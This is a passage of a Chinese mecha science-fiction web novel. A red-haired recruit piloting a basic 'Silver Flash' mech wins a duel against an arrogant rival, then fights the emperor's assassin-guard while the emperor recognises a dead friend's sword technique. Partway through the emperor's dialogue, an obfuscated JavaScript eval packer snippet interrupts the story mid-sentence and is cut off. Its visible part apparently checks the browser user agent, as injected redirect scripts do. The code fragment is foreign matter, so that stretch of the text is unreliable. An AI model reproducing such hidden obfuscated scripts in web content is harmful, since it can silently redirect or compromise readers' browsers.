场中再次寂静下来,漫长时间无人登台。海因里茨清清嗓子:“还有人愿意挑战吗?没有的话我宣布……” “我愿意。”一道声音突兀地响起,来自从没有人上过台的新兵方阵。 满场所有人的眼光都投了过去,现在还有人上台,不知死活么?! 万籁俱寂之中,阿龙迦举起了手,“我自愿一试。” 张云上震惊得结巴了,“龙……龙兄弟!你……” 阿龙迦只是笑了一下,没有解释,从人群中走了出去,他的身形从人群中显现出来,发色如烈火般的少年,枯瘦而挺拔,像一支笔直的枪。他解下身上的铁甲,流光一闪,银色的机械层以流体的形态从他脚底开始覆盖,常型001-银闪,在这一刻被激活。 老师曾经的声音忽地再次响起,鬼魂般在他背后盘旋,枯朽的声音,凝结出冰晶般的冷酷:唯立德扬名,可以不朽! 看清他模样的瞬间,议论四下而起。 “我的天哪,他居然带着铁甲,那不是入伍连三个月都不到的新兵么?” “何止,你不知道吗,那批新兵才刚到基地!居然有这么疯的新兵么?刚到一天,为了前途命都不要?” “你看他的机甲,那是银闪!最基础没有丝毫攻击辅助的侦察型机甲!他不会准备拿这个打罗本初吧?” “大概一刀就能被捅废吧?有乐子看,不错。” “新兵啊!清醒一点,这可是完全的新兵啊!他连机甲都会不会开都不知道!到底为什么上台?” “疯了吧……” 阿龙迦却没有丝毫动摇,银色机甲完全覆盖的一瞬,他恰好走到了海因里茨的面前。这个小老头也震撼得不轻,双眉紧锁,面色铁青,“新兵,你确定你真的要上台?” “是的,我确定。”阿龙迦的声音清晰地从机甲中传出。 小老头心里十万个不乐意,可是是他自己说的“台下任何人都可以挑战”,此时再没有理由阻拦了,只能狠瞪这个没有眼色的新兵:你上台干什么?在高层面前丢基地的脸么? “大校,我需要一对武器。”阿龙迦对老头的目光视若无睹。 “什么武器?” “一对双剑,越长越好。” 小老头一挥手,马上有人拿来了一双铁青色的长剑,海因里茨凝视了他半晌,最终只是说:“新兵,上了台就是战场了,你好自为之。” 阿龙迦接过双剑,点头。 他一步步踏上高台,罗本初正静静地立在对面,嘲笑鬼从没显得如此高大过,崔嵬不可撼,阴影如山岳压下来。 老师的声音再次在他心底响起,那只衰老的手像还紧紧抓着他的肩膀: “我松开手的那一瞬间,你就得全力开始奔跑。踏上战场的那一刻开始,你的心里再没有悲悯和仁慈,你是俯冲的鹰和暴怒的虎,你带着杀戮的心而来,你需毁灭一切敌人!” …… 白鹰座上 皇帝端坐着,秘书长和护卫长一左一右站在两侧,一名是婉约的年轻女孩,一名是挺拔的年轻男性,他们面前巨大的全息屏幕,实时转播着会场中的一切。 看到那道新兵的身影时,一直不动声色的皇帝,神情忽然变了变,眼神似乎有一瞬的朦胧,而后微微地笑了。 “红发……么?”火焰般的红色啊。 已经很久,很久,没有见过了。 7. 07 嘲笑鬼与银闪 人声鼎沸,人们的目光射出接天巨浪般的好奇和幸灾乐祸,聚焦在台上。 喧沸声中,人们目光的中心,“银闪”恍如无人地站着。 阿龙迦沉雄地吐息,舒展手臂,展开双剑,八面砥砺的铁青色长剑,缓缓地翻转,阳光在剑刃上跳闪,明亮如一线的秋水。 他上身诡异地低伏下去,握剑的姿势勃发如野兽,宛如握住了深青色的龙蛇。 看到这新兵居然真的摆出了进攻的架势,罗本初不由得发笑,他拄刀而立,嗤地冷笑一声,缓缓开口: “新兵,年轻人容易被机遇冲昏头,我理解。但人的眼睛不能光长在头顶,也要知道自己是什么东西。人可以在自己的那点地挣一挣,但地上的尘埃再怎么翻滚,真捡起来拿在手里了就是土,是烂泥,烂泥要是能上得了台面,那就是下所有人的面子。” 他仿佛随意地以脚底摩擦地面,碾出一条长长的土痕,他低头看着那条土痕,漫不经心地说,“这样,我给你个机会,你怎么走上来的,再怎么走回去,我就一根头发都不伤你。” “还不走!?”罗本初猛地抬头,机甲没有双目,却似乎有凌厉的目光飙射而出。 在这目光下,那具银闪居然无动于衷,它对这剑拔弩张的气氛似乎一无所觉,微微地斜倚着,举起握着剑的右手,对罗本初勾了勾,声音中有淡淡的戏谑,“来。” 这新兵居然敢公然模仿罗本初之前的作态!台下惊呼一片,这无疑是巨大的挑衅,“罗本初该不会忍不住要杀了他吧?”“这下估计会被撕成碎片…”“看海因里茨那老头那张黑脸,只怕是一刀下去就结束了,现在叫医护都来不及吧?” “不,知,死,活。”罗本初从牙间吐出四个字,一把抖出长刀。 他身影一晃,就化作残影奔流向前,高台震颤,嘲笑鬼面的利啸飓风般拔地而起,他直接进入了一阶段爆发态!他要一招解决掉这个跳梁小丑。 “你要为自己的选择付出代价,我会把你的四肢全都打断!” 只是一瞬之间,劲风贴面卷起,漫天尘灰,尘灰中长刀从风眼中暴起,金色的嘲笑鬼面瞬息就至,罗本初只是推出了简简单单的一刀,但有了爆发态的辅助,刀上的威势以几何次数翻倍,那一刀最终呈现出的,是莫当的伟力、滚滚的杀气和足以切割一切的锐意! “那新兵完了……”台下有人愣愣地说。这一刀下去哪里还有命在? 风停,利啸止息,尘灰下坠。 罗本初正要收手,心里忽地一跳,手感不对,这刀居然没能破甲!不仅如此,甚至连那具银闪的边都没碰到! “已经完了,是不是捅了个对穿……不对,挡住了?!” 台下所有怀着看戏的心态议论指点的人忽地都哑了。 尘灰散去,那具银闪居然一步未退,全身上下完好无损,不动如定海的神针,罗本初惊天的一刀被双剑稳稳封住,那切割一切的攻势也被封死,那柄淡金色的长刀,今天第一次陷进了武器的绞陷之间,像毒蛇绞死黄金羽的鸟。 死寂像海浪般在全场中扩散。 要完全封住那一刀……得要多大的力才行?所有人都不由得在心里问自己。 没有战斗机甲的辅助,人怎么可能做得到? 只是一瞬的愣怔,台上的攻势就已经急速地倒转,阿龙迦的进攻开始了。 完全不似一个今天才踏入基地的新兵,他的剑势在空中完全展开,双剑化出一轮空虚大月似的空幻,笼罩罗本初,剑圆中有一股割面般的锐利和疼痛,剑光闪射,罩在里面似乎下一秒就要被绞碎成血肉。 罗本初本来自负武力,越挡却越是心惊。 对面的出剑之式看着朦胧如烟,落剑时却有一段刺到人心底的伟力,极险而狠,他自己的刀走的也是险而奇的路子,可他从来没有见过那么狠戾的剑,几乎有一股凌厉而摧枯拉朽的狠毒。那剑光简直可以照进人心底,把人的信心尊严自我都碾碎,让他在那道光刺进眼中时,只是下意识地畏惧和躲避。 那令人畏惧的光芒! 银闪的剑式出奇刁钻,每一剑在发出、回收之间都蓄着不可计数的变式,力劲变幻自如仿佛泉水流动,老练!不可思议的老练。当他握住剑的时候,就好像被囚的猛虎重获自己的獠牙。 层出不穷的诡异剑式,只在几十个来回之间就摧毁了罗本初的信心,他甚至难以找到一个喘息的片刻反攻回去,罗本初不可置信地感觉到,他的心中居然产生了……恐惧。 这恐惧也摧毁了他把握时机的能力,他在一瞬的慌乱中本能地开启了爆发态,这次不是一阶段了,他一口气推进到了三阶段! 叠加的爆发态让他获得了巨大的动能,但越大的能量也越难以掌控,机甲这次几乎脱出了他的控制自己动作,大斩! 刀光如半轮明月。 罗本初心中一喜,他最后还是控制住了这一刀,这一刀足以改变他的结局!可是斩下时传递回来的还是沉闷的一震,居然再一次封住了! 银闪从双剑后探出头来,机甲中传出来一个冷漠的声音,微微带笑,“你的刀,乱了!” 罗本初心里不由得生出一股绝望来,三段叠加的巨力都能封死,这只是一具银闪,银闪怎么会有那么大的力?银闪不可能有那么大的力! 难道他改了机甲?想到这里,仿佛一道闪电炸开,罗本初心里像有大石坠地,是了,他一定也改了机甲! “不逗你玩了!你该输了。”那个声音再次响起,一抹刺般的讥诮。 声音落地的瞬间,阿龙迦的剑势就变了,不再是那种能打断人脊骨的阴毒,像是一股浩然气充盈在了剑下,剑势拉开,大开大阖,风格骤然变作无伦的刚勇,如果说之前是恶鬼毒蛇,现在则是高山下堕的刚极浑雄,避无可避,一剑之风雄姿倾世,一剑发出,有日出的光芒。 罗本初刀式终于溃乱,他的信心也一并被打散。 绝境之中,他的心动摇了,他又想到了爆发态,但是前三个阶段的爆发态哪怕叠加在一起都不能撼动他!怎么办? 最后的瞬间,他想到了教官叮嘱,让他千万不能使用的高阶段爆发态。 “从第四阶段往上,就是高阶的爆发态了,这几个阶段,是解开嘲笑鬼真实面貌的钥匙。能正面虐杀大型污染种的机甲,其凶暴不是你能想象的,也绝对不是你所能驾驭。更何况我们给你弄来的这具,并不是合格完整的嘲笑鬼面,你如果开启四阶段,造成的后果不仅会毁了别人,”记忆中总和他勾肩搭背的教官,头一次如此严肃,“也会毁了你!” 管不了那么多了!什么毁掉不毁掉的!毁掉自己又怎么样?只要能毁掉别人就好! 罗本初咬牙,用左手握住颤抖的右手,狠狠地摁下四阶段指示,确认! 嘲笑鬼面,高阶段爆发态,开启! 机甲发出奇异的鸣叫,同一瞬间,罗本初眼前一白,他忽地死死地顿住了,脸孔在驾驶室中痛苦地扭曲,血痕同时从他的七窍中滚下,鲜血淋漓。 再睁眼,他的双眼已经是一片血红,他觉得自己的胸口像是被棉絮堵住了,张开嘴,涌出的居然是满口的血沫。 血?怎么会有血?他突然害怕起来,紧紧地握住双手,却还是止不住地颤抖,他要死了么? 死?他以为“毁掉自己”只是付出代价的夸张说法,换取力量得付出代价在他看来是自然而然的事,可他从没想过这代价居然是生命,而这代价他根本付不起。 他想停下,可是嘲笑鬼已经不再听他的,开启高阶段爆发态后,这具机甲像是骤然“活”了过来,或者说是从沉睡里,睁开了它鬼神般的双眼。 以前别人跟罗本初说所有机甲都是活的,他总是嗤之以鼻,人为培育的躯壳而已,连脑子都没有,算什么生命? 现在罗本初却终于信了,因为在驾驶室里,他清晰地听见了那个心跳声,像是擂响漆面的大鼓,越来越响,一收一缩,带动他的胸腔一起振动,他感知到绝大的恐怖,那个心跳里孕育着绝世的妖魔,他作为人类的精神已经衰败,再也无法压制它,所以这具躯壳里残存的精神活了过来,再次掌管了自己的身体! 这具嘲笑鬼自己开始奔跑! 阿龙迦不知什么时候已经退出十米,对于失控的嘲笑鬼而言却只是一步的距离,它像原始的野兽那样以反人类的姿势起跳,完全失去了在罗本初控制下的精准,像是全无神智狂舞手足的狂魔,极度喜乐,行止癫狂,它居然张开手指去抓银闪的颈部!犹如极度渴望闻见鲜血的鬼魂。 银闪却没有半点惊惶,相反和它迎面对撞,那道银色的身形灵敏生辉如一抹月色,那抹银色猛地拔起,迎风而涨。 “就是等你这一招!”贴面一声大吼。 阿龙迦双剑再划,仿佛是两轮明月的升起,这次不再空虚,也不再朦胧飘渺,取而代之的是无与伦比的暴力,和无与伦比的奇崛,在明月中暴烈地张开,万顷海面,月升千里的宏大宛然喷薄而出,银闪带着那两圈明月般的剑轮和嘲笑鬼死死地撞击在一起。 满场死寂。 所有人都看清了台上的情况,两具机甲紧紧依在一处,仿佛多年的好友或者兄弟,一息之后阿龙迦松开插在嘲笑鬼胸腔里的双剑,嘲笑鬼倒退一步,颓然倒地,一声轰然巨响。 双虎型.对切心之剑。 这惊天一剑的名字,知道的人不多,却也不少。 这是他上辈子自创的剑术中最著名的四式之一,这四式分别是:双虎型.对切心之剑,雀闪,摧天一掷,和逆拘龙之术。而虎型剑这一式分明和虎毫无关系,却还是以此命名,其实是因为它的灵感来自于老师曾经讲的,古地球”黑虎掏心”的说法。 其实最后的一剑,他本可以不使用虎型剑,即便是以普通的剑式他也能轻松化解,一具失控的嘲笑鬼面而已,上辈子一只手都不知道斩杀了多少具。 他侧过头眺望,那是做给白鹰座看的。 这独一无二的一式,标志太鲜明,他知道无论来的是谁,都会很快做出反应。 阿龙迦笑了笑,走到地上的嘲笑鬼身边,俯瞰这具破烂的机甲。 海因里茨那小老头还算有良心,给的一双长剑是标准战斗规格的武器,不然要是像朱鸟那柄民用剑一样,即便是他,也难以破开嘲笑鬼的机身。 万众瞩目之下,他忽然死死地握住锁在嘲笑鬼胸膛里的两把剑,用力抵进去旋转,绞碎已经破损的表面,露出驾驶室。 里面是满面鲜血的罗本初,眼角开裂,血痕娓娓。双目居然没有闭上,空洞地仰视天空,情状之骇人,遍场哗然。 几刻之前,还睥睨骄矜不可一世的年轻人,现在躺在鲜血中不可动弹,海因里茨刷地从台下起身,神色火急火燎,放声大喊,“医疗队!医疗队!” 阿龙迦俯下身去,一把拎出罗本初,他还在呼吸,却已经形如死尸,只有阿龙迦知道,他还能听到。咫尺之间,他侧下头去,在他耳边缓缓地说: “你也配,驾驶嘲笑鬼面?” 他说这话时,掩在机甲中的面容上,有一抹淡淡的讥笑,笑意桀骜而锋利,衬得双瞳明锐如火焰跳闪。俨然又是十多年前,血涂的千叶葵花旗下,如狂龙如魔鬼的那个年轻舰队长,污染种的血漫在他踏过的每一寸战场的土地上,冷酷,暴烈,凶名卓著,然而无所不能。 …… 白鹰座上 秘书长琥珀悄然地站着,一如既往的沉默,像一具修长的雕塑,可她的心中却失去了往日的平静,像大风无声地卷起海涛。 自从成为皇帝的秘书以来,她生平第一次见到皇帝如此失态。 她的目光无声地投出去,落在那袭深红色的背影上。皇帝此刻已经离开了座位,紧紧站在光幕之前,礁石般长久地伫立,凝视的目光仿佛永不完结。 就在台上那个新兵第一次拉开巨月般的剑势时,皇帝就已经霍然起身。 琥珀下意识抬头看他,皇帝清秀温和的眉宇间,有一股异样的神采擦亮了,有如画布上炭笔的人像陡然晕开颜彩,皇帝忽地变了,变得不像她做秘书的两年间,认识的任何一个样子,那张脸上流露出一丝坚毅和难以描述的倔强,眼角眉梢似乎有隐约飞扬的骄傲,顾盼自雄,他忽然变得……像个少年。 像有某种光从多年前的历史间照过来,映出了他遗落在时光中的影子,她说不清楚,但就好像蒙尘的古剑湛然出鞘;羊皮开裂,骨架中传来狮子的低吼;石茧忽地剥蚀零落,里面照出熊熊的火光。 她听见皇帝低声说:“虎型剑的雏形?你……看见了么?时光还没有允许你的力量在这个世界上被遗忘啊。” “您很看好那个新兵?”护卫长跟着看了几眼,神色好奇地问。 这话琥珀也想说,但探听别人的想法不是她的习惯。而护卫长和她的性格截然相反,这个名叫大卫的护卫长,是个毫无拘束的年轻人,似乎没有什么能约束他野马般狂奔的个性。 “你看他的身手,难道不好么?”皇帝只是反问。 “是挺好,”大卫眉梢微挑,“就是好得不像新兵。您觉得他会赢?” “他已经赢了。” “哦?为什么为什么?”大卫年轻的脸像孩子一样发亮,“难道说您看出来他有什么特殊的技巧?还是那具机甲有玄机?要不然只凭借一具银闪,就算技巧再高超也不一定能赢的吧?” “大卫,仔细观察。你姐姐希望你到我身边做护卫,就是要磨砺你的细心。”皇帝回头看了一眼护卫长,有如长辈训诫孩子,语气中却并没有责怪。 “是!知道错了!”大卫猛地立正,手刀敬礼,“请您指教!” “知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“同频率高的人,能更好地和‘躯壳’共振,能借到的力量就更多,同频率低的,借到的力量就少。银闪和嘲笑鬼面内部的‘躯壳’等级相差非常大,但那个新兵却能拥有几倍于对方的力量,是因为它们的操作者,来自完全不同的层次。”皇帝负手而立,“光看那具银闪能完全封住嘲笑鬼面的攻击,而一步不退的表现,我就能断言,银闪的操作者起码有35%以上的同频率。” “35%?这么高?那就算他今天不凑这个热闹,很快也会有特殊部队去找他的,去做那个什么……起源级机甲驾驶员是吧?”大卫诧异。 “是,如果他愿意。” 而后舱室中陷入了漫长的寂静。会场上,新兵的剑意已经又入一轮巅峰,所有人的目光都聚焦在那铁青色的剑雨中,大卫也走上前盯着光屏看,这人的技巧确实好得出奇,不,甚至不能以“好”来描述,应该用“令人畏惧”。 但一个新兵怎么会有这样的技巧?刺客的直觉让他感受到了莫大的危险。大卫甚至怀疑这新兵还藏了不止一手。 看着看着,嘲笑鬼如妖魔般失控,银闪则缓缓拉开满相之圆,其中威势张到极处,仿佛无形的虹光绷紧在弦上,而后一剑发!天地寂静。 大卫忽然感觉到身侧,皇帝的身体僵住了。 大卫迅速回头,皇帝的肩膀僵硬如石,他的双眼死死地凝聚在光屏上,那里面,正有明月暴烈地张开,拔地升起,完满如轮。 皇帝突然觉得那么恍惚,他看见了那一剑,似乎直直地从记忆那端斩来,斩开尘封了多少年的时光,在脑海中开裂出一道深不见底的裂痕。银闪起跃的姿态似乎和记忆中的某些画面重合了……那些泛黄的,他以为已被烈火燃烧为飞灰的画面。 像是有狂风吹过记忆,画面哗哗流水般翻过:那些朋友们扛着大旗拔剑放歌的时光……那些污染种的影子在天际如龙蛇般舞动的时光……那些淋着血雨怒吼,狂奔长战,不死不休的时光……那些紧紧握住某个人的手,说天下说英雄说梦想的时光,都在一个瞬间活了过来,皇帝以为自己已经忘记,可是这一刻虎型剑斩出了一道裂缝,于是它们从心底最深处苏醒腾起,呼啸着扑面而来,带着朋友们的歌声,剑气如霜,烈酒的醇和鲜血的腥气,狠狠地刺痛他的心脏,他终于明白过去能被遗忘,却永远不能死去。 他觉得自己真是老了,他觉得自己胸膛那么痛,像是有一处贯穿的隐伤。 是啊,三十五岁,还不老么?和那些不害怕不畏惧的岁月比起来,已经是想起过去心中会疼痛如刀割的年纪了。他凝视着光屏,黑眼睛朦胧了,像是记忆漫漫地流过,又像是一层烟雾般的泪。他看着那一剑的挥出,发招,轨迹,收束,分毫不差。 像,太像了啊!像他曾经拥有过的一个朋友。只是他的朋友,已经死了。死了很久很久。 皇帝觉得心里疼痛得像有刀在绞,可他却又欣慰得止不住想大笑,双目滚烫,你看见了么?你死了,可你的剑还在这世上!还在这世上啊! 有生之年,能再次看到这样熟悉的一剑,真是很好啊!很好很好。 那一剑中,似有故人的魂魄,目光隔世。 但他最终什么都没做,他只是默默地站着,没有笑,没有流泪,没有大喊,他只是以一种奇异的语气念出了那个名字: “双虎型.对切心之剑。” 舱室中静了一瞬,琥珀和大卫都知道这是谁的剑术,于是迅速开始思索这意味着什么。 大卫最先开口:“虎型剑那样独一无二的剑术,如果不是本人精心指导,无论如何也学不会吧?毕竟连您和舰队长们也不会这一式。看他那头红发,也许是‘他’的血脉吧?” “也可能只是学生。”琥珀垂着双眼。 “又或者就是‘他’呢?说不定他没死!”大卫越说越兴奋,一拍脑袋,“也许当年一番波折,万幸之下如此这般……” 皇帝强硬地竖起一只手,打断了他的话,“大卫,这不是小说,也不是故事。” “……那您要怎么做呢?”大卫看不懂皇帝这一刻的表现。 “很简单。”皇帝转过身来,目光中蓬发出巨大的力量,他那双漆黑的眼睛都被点亮了,铁剑一样生辉,像是一根火柴忽地擦亮了自己平生的火焰。 “如果是他的学生,既然连他的老师都信任他,那么我也该信任他;如果是他的血脉,我曾欠他的父亲许多条命,用我的所有都不足以偿还,那么我更该用尽一切保护他!” “不过,在此之前,我还要再逼他一步。他对我们还有许多保留,我要看看他真实的水平究竟是什么样的,大卫,让你手下最厉害的护卫去……不,”皇帝忽然改了主意,意味不明地笑了笑,“你自己去,你去和他对战,就说奉命测试基地优胜者水准,我要你用尽一切方法,逼出他的真实水准,我想看看,他究竟承袭了他老师的几分能力!” 8. 08 逆拘龙之术 皇帝的双眼黑如点漆,目光却明锐如一面铁镜,看着大卫穿过重重走廊,无数扇舱门为他次第打开。 尽头的天窗打下一格格阳光,年轻人的背影在明灭中前进。最后一扇水平向下的隔离门打开,门边的大型能量装置沉雄地运转,肉眼不可见的牵引束在嗡鸣中成型、聚集、垂下。 大卫向隔离门一跃而下,豹子般敏捷地消失,高能声波形成的牵引束将会承载他的身形,流风般轻盈地将他降落在地面。 护卫长前脚离开,代替他的两名护卫后脚已经进入隐秘的内舱,不似大卫那样年轻得还像个小孩的毛头小子,这两人都是沉稳内敛的成年人,一男一女,都是皮肤微褐,脸颊发红,五官粗犷深邃,向皇帝低头行礼:“陛下。” “不必多礼。” 两人越过琥珀,以三步的距离列在皇帝的左右。女性护卫开口道:“这还是您第一次点大卫.亚伯拉罕出去和人对战,您那么看重这个人么?让一名精通刺杀术的刺客去,这人也许会受到难以想象的重伤。” “哦,你怎么看?” 女护卫眼珠微微发绿,黑发结成一绺一绺的辫子高束,眉目飞扬,深邃面目上一股勃发的英气,“您不该让大卫出手,属下一直认为他不可控,他在‘沉稳’上的修行不够,即使是号称十年中的刺杀第一,也是技术大于心性,没有和十年前拼杀死于战场的英雄做比的缘故。” 似乎是来自王庭星团之外,她的口音和用语都有几分特殊,一股凌厉的古韵。 男性护卫面容古朴,身材高壮如小山,神情却极为沉默内敛,闻言只是点头附和。 “耶罗银,你说得不错,他不是一个用来试探的好对手,”皇帝缓缓地说,“但也许我就是要借这个机会反过来打磨大卫呢?他太年轻太骄傲了,别人无论怎么敲打他,他的自信都无与伦比不可动摇,因为在他这个年纪他根本没有对手,他几乎没有输过。” 耶罗银眼神一凝,“您相信这新兵能做到这个地步?以一具银闪打败大卫?可是您许可了大卫使用‘龙’旗舰的通用甲,这是……完全不可能的事情!” “理论上是这样没错,但理论终究只是理论,战场上的事情,谁说得准?” 皇帝的声音陡然锋利起来,像一叶刀光催发,“武士对阵,拔刀只拼一股悍然血勇,不到刀风割面,决死的那一瞬间,胜负生死,终究只是他人妄言!” ...... 会场中的上万人屏息,看着遥远的人影在牵引束中降下,他的姿态之轻迅,仿佛天忽然开了,神的灵从云中降下。 “那…是…什么人?”每个人心中都只有这个想法。 年轻人从牵引束中踏出,纯黑色斜钉银扣的军服,姿态放逸飞扬,面容年轻得没有一丝阴翳,一头耀眼的金发在阳光下焕然生辉,瞳子清澈,如光照湖水。 “大卫.亚伯拉罕,奉命测试优胜者水准。”大卫的声音不高,却像一粒石子坠入水面,泛起了整座会场的涟漪。 奉命?奉谁的命?难道真的有上级看上这个新兵了?想到这里的人们不免都心生艳羡嫉恨。五大舰队啊!谁不想进? 在场的人,却没有谁认出了这个名字,到了大卫这种身份和级别,名字和形象都是保密不宣传的,反而闻名的是他们的代号,属于大卫的代号就叫做“狂雷之鬼”。 大卫从人群中走过,所行之处人群都被劈开,有如大潮二分,仿佛畏惧他凛冽的刀光。 在他一步步踏上高台的同时,仿佛滚落一滴清澈的水银那样,苍红色的机械层从他的胸口开始蔓延,似流体也似固体,金属表面完全展开时有一瞬的耀眼反光,从左到右滑过,仿佛澄明的天穹中擦出一线流星。 在大卫被完全覆盖后,那具机甲像是巨人般忽然“立”了起来,顶天立地,整片天地忽地成为了它的延伸,再没有比它更高更远的东西,云和雾从它的头颅间流过,时光则穿过它礁石般的胸口,它的影子投在大地上,亘古的云层那样孤独而苍老。 常型000-E类改,“夸父”。 “这是……什么机甲?” 哪怕台下站着的教习和军官们,这一刻也愕然失声。 就像没有人认出大卫.亚伯拉罕一样,也没有人能够认出这具机甲。 那样赤铜般焚烧着的红色,那样孤独而古老的巨人的影子,每一根线条都刀砍斧凿,透着苍劲和雄浑,让人想起最遥远最遥远的时候,大地尽头的奔跑,想起叫做“夸父”的巨人,燃烧如日出的背影。 那具机甲上几乎有一股如有实质的“精神”,仿佛夸父留在世间的最后一声呐喊,向着天空拔地而去,无始无终。 阿龙迦瞬间明白了原因,这是因为这具机甲中“躯壳”的等级之高,精神场已经凝聚到一个不可思议的地步,连人类这种进化避开了精神领域的生物都能直观地感受到,像是铭刻着万古之前一个隐隐约约的侧影,让人瞥见时蓦然惊动。 好机甲!阿龙迦心中赞叹。 他没有见过这个型号的机甲,但以他对机甲的了解和狂热,想来是他死后才出现的机甲,也不知道是用于五大舰队的哪一个。 “好!再来!”阿龙迦长啸一声,居然毫不寒暄,双剑旋切,模糊光华如轮,右手握剑之势一反,就推出鬼魅般扑面的一剑。“铛”的一声锐响,金属交击,一柄细细的银刀探出在夸父之前,刀面一闪,银光如雪。又是“铛”的一声,暗中切来的另一柄剑也被挡住了,真正的杀机蕴藏在这一剑中,毒辣地刺向下阴,夸父的第二柄银刀随之旋出,在腹部! 大卫居然也是双手武器!双手银刀,滴水不漏。 “问候都不听就开打?”大卫的声音似笑非笑,“不太礼貌吧?” “我连求饶都不听。”阿龙迦淡淡地说。 他抽身一旋,没有人知道一具银闪怎么会有那样鬼魅般的灵敏,回身之势像一阵淡淡的烟,诡异的滞空一瞬后,压下的是暴雨般的攻势,握剑的手势仍然是一正一反,旋切出去,虚实交错,杀机暗藏。 大卫笑了一声,起初只是格挡应对,银刀抖落片片雪光,渐渐地,双刀上的力道凝实起来,仿佛薄雪压成冰再凝成冰雹,刀剑相击的声音变作刺耳的“铮铮”声,银刀最终竟然是以攻势在和双剑对挡,双刀之快,如逆起的冰雹之瀑,光华剔透。 从台下看,刀剑之式居然都是模糊的,银刀和双剑留下的影子,只仿佛耀眼的冰流和铁青色的豪雨对冲,冰流霜华寒湛,而豪雨炽烈雄浑,冲击之相密不可分,有如大潮上涨。 “只怕是一时分不了胜负吧?”台下人心中都忍不住这么想。 这一切结束在两道诡异的“锵”声中,打破僵持之势的是大卫,他的双刀如一卷奔行的银雷冲天卷起,凌空截断阿龙迦的剑式,刀上锐气延展出去,居然有一股压不住的狂气像十万刀剑从刀上迸发,指天刺地,绝无畏惧,锋锐不可当,果然不负他“狂雷之鬼”的名号。 此招过后居然毫无停顿,两线银光冷冷地一闪,走出凄冷而诡异的长痕,速度之快几乎划破空气发出利啸,双刀目标皆是阿龙迦的命门,此刻银闪中门大开,再也无法抵挡了! 一击毙命的杀人术!不知道多少人曾经这样死在双刀之下,大卫“近十年刺杀第一”的名声在这一刻转换为可怖的现实,双刀落下的瞬间,他即将再添一名手下败将! 这千钧一发的瞬间,阿龙迦的声音居然带着微微的笑意:“哦?刺杀之术?” 决生死的片刻还有心思说话?这新兵是真的不知死活吧?大卫的念头刚起,忽然就察觉到,有什么在瞬息之间就变了,眼前仿佛有什么东西一闪。 他心底一紧,他知道那个瞬间一定有什么发生了,可是那个动作太快了,快得来不及看到,所以留在人心中的就只有那一“闪”,分隔光阴的一闪! 大卫回过神来的瞬间,一个沉重的震感已经蔓延在双刀上,他心中骇然,居然挡住了!可是对方哪来的剑?他的剑式不是已经被截断挑起了么?挥出去的招式哪里有那么好收回? 怎么……来得及回剑格挡的? 阿龙迦以右手剑封住双刀,机甲的感官相通也包括痛觉,反震回来的力竟然震痛他的手腕。 方才他已经使用了自创的四式中的“雀闪”,这是空中借力之剑、腾挪之剑、流转之剑,他借凌空截断之力侧弹剑柄,鬼神般莫测地旋回右手剑,刚好一剑封在双刀的前路上。 让他没有想到的是,这看似随便的一个护卫,居然精通刺杀之术,甚至能以力气撼动他驾驶的银闪!不过刺杀之术么… 真是……很多年,没有见过了! 他大笑,“好!很好!派这样的人来,看来天上的人终于看得起我了!” 此剑一收,阿龙迦的风格突变,所有攻势都骤然回收,再没有一丝多余的力道,他居然采取了全然的守势。 大卫的刀式还在不断袭来,一刀更比一刀刁钻凌厉,每一刀都来自视觉和直觉的死角,刀式再没有任何的花哨,扑面只一股纯净而肃杀的死亡之气,仿佛一轮漆黑的太阳升起在大地之上。 大卫再不抱试探之心,出手招招都是杀人术,已有凝重之意。 情况如此危急,银闪之前的攻势却全然消解,双剑只有在刀光逼近时才略微动作,仿佛已被大卫的威势击溃,只是被动地见招拆招。 “他要赢了吧?那新兵不行了!”台下有人喊,“他都挥不动剑了!” 台下骚乱起来,都以为胜负将分,新兵一时的运气用尽,大势已去了。 占尽如此优势的大卫,越打心中却越是凝重,仿佛一道寒气从脚底袭来,上贯天灵,他全身的血都好像微微地凝住了,银闪那些看似无力的“格挡”,居然悄无声息地化解掉了他每一式凌厉不可测的杀人术。 双剑总是精准地卡在刀上某个最薄弱的点上,便让他的动作顿时凝滞,易如反掌,好像他对这所有杀人术都了然于胸,对他的所有发刀、衔接、盘算都了如指掌。 可这根本不可能!绝不可能有人比他还要了解这些刺杀术!大卫心跳如鼓,他的刺杀术只来自于一个地方,帝都君临最高军校——帝托里尼学宫! 整个中央星域,只有这一个地方光明正大地传授最精深的刺杀术,杂糅从古地球到开拓纪元再到混乱纪元的一切流派,为此他们甚至特地开了一门武术选修课,这门课的名字叫做:《从母星纪元到现当代:临场杀人术的变迁》! 虽然名字听起来像是枯燥的学术研究,但这门选修课却是地道的武术课,由帝国军方资历最深厚特殊的几位大人物教导,其中蕴含的刺杀术精髓被誉为是整个已知宇宙的刺杀殿堂。 从上个纪元开始,修习这门选修课除了要做全套的背景调查外就只有一个要求,数千年不曾改变:在校时长十四年,十四年中的武术和实战两科,必须蝉联第一! 即使要求如此苛刻,千年中能够选修这门课的人物也不在少数,可是本纪元中,能够拿到象征刺杀术登临极点、圆融归一的“圆满”称号毕业的,只有两个人。 第一个人的名字已经因为他在整个时代中掀起的血浪被抹去,人们惧于提起,而第二个人就是大卫.亚伯拉罕,只是这个原因,他就被誉为最强刺客之一! 大卫一直为自己的这个身份所骄傲,可是这一刻,居然有人能将他引以为傲的刺杀术轻而易举地化解,大卫年轻骄傲的心中不可抑制地生出了一丝胆寒。一阵压抑许久的疑云随之划过,对面的银闪明明留有余力,他为什么只守不攻? 人们都以为银闪已经无力挥剑,大卫自己却能清晰地感受到,每一刀上反震回来的力丝毫不少,甚至还在不停凝聚内敛,仿佛飓风之眼缓缓旋转,凭临爆发的前一刻,这个想象仿佛一片浓重的阴影笼罩在他的心头,他隐隐约约地猜到了,这具银闪收回了一切多余的动作,也许是在“蓄势”。 蓄力,蓄气,蓄不死不休的意志,他知道精神和气势能够在蓄势中以几何次数叠加翻倍,可是什么样的一剑需要这么长的准备?也许不是人世中能见到的一剑吧? 大卫慢慢地吐出了一口气,感觉自己的心脏缓缓沉了下去,无力和挫败感同时浮了上来,他在心底苦笑一声:真是……输了啊! 